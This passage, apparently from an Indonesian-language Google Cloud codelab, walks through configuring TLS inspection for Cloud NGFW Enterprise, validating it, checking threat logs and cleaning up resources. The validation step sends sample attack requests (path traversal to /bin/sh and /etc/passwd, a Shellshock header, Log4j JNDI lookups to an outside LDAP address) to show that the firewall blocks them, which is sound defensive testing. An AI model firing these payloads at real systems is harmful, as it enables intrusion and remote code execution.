ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
Impor konfigurasi kepercayaan:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Perbarui file YAML Kebijakan TLS untuk menyertakan konfigurasi kepercayaan:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Impor Kebijakan TLS yang telah diperbarui:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Memvalidasi Inspeksi TLS E/W
Lakukan SSH kembali ke klien untuk menguji traffic E/W dengan konfigurasi kepercayaan yang telah diperbarui:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Jalankan contoh permintaan TLS ke server:
curl https://$target_privateip --max-time 2
Jika Anda masih mendapatkan output di bawah ini, harap tunggu hingga update diterapkan.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Output yang diharapkan:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Mengirim traffic pengujian berbahaya ke server:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Output yang diharapkan:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Tidak ada respons yang diterima sesuai output yang diharapkan di bawah ini, mengonfirmasi bahwa contoh serangan kini diblokir untuk E/W.
13. Logging
Buka Logging > Logs Explorer melalui Konsol Cloud, masukkan filter di bawah dan buat kueri log. Ganti [PROJECT_ID] dengan project_id Anda:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Entri log Cloud NGFW Enterprise akan terlihat seperti di bawah ini:
Perluas entri log dan perhatikan bahwa serangan yang dikirim dari vm klien ke server telah diidentifikasi dan diblokir (Kerentanan Apache Log4j Remote Code Execution sesuai dengan screenshot di bawah).
Anda telah berhasil men-deploy Cloud NGFW Enterprise dengan TLS Inspection untuk memblokir permintaan berbahaya.
Lanjutkan ke bagian berikutnya untuk mengetahui langkah-langkah pembersihan.
14. Langkah-langkah pembersihan
Pembersihan Penyiapan Dasar
Hapus instance:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Hapus kunci dan nilai Tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Hapus Kebijakan Jaringan Firewall Cloud dan pengaitan:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Hapus Cloud Router dan Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Hapus alamat IP yang dicadangkan:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG, Association, dan TLS Clean-Up
Hapus Grup Profil Keamanan dan Profil Ancaman dalam urutan ini:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Hapus pengaitan endpoint Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Hapus endpoint Cloud Firewall, yang dapat memerlukan waktu sekitar 20 menit:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Anda juga dapat mengonfirmasi bahwa endpoint Cloud NGFW telah dihapus dengan menjalankan perintah di bawah:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Status untuk endpoint akan menampilkan:
STATE: DELETING
Setelah selesai, endpoint tidak akan lagi dicantumkan.
Hapus TLS Policy dan Trust Config dalam urutan ini:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Menonaktifkan dan menghapus Root CA dan Kumpulan CA:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Pembersihan Subnet dan VPC
Terakhir, hapus subnet dan jaringan VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Selamat!
Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk East-West dan Northbound TLS Inspection.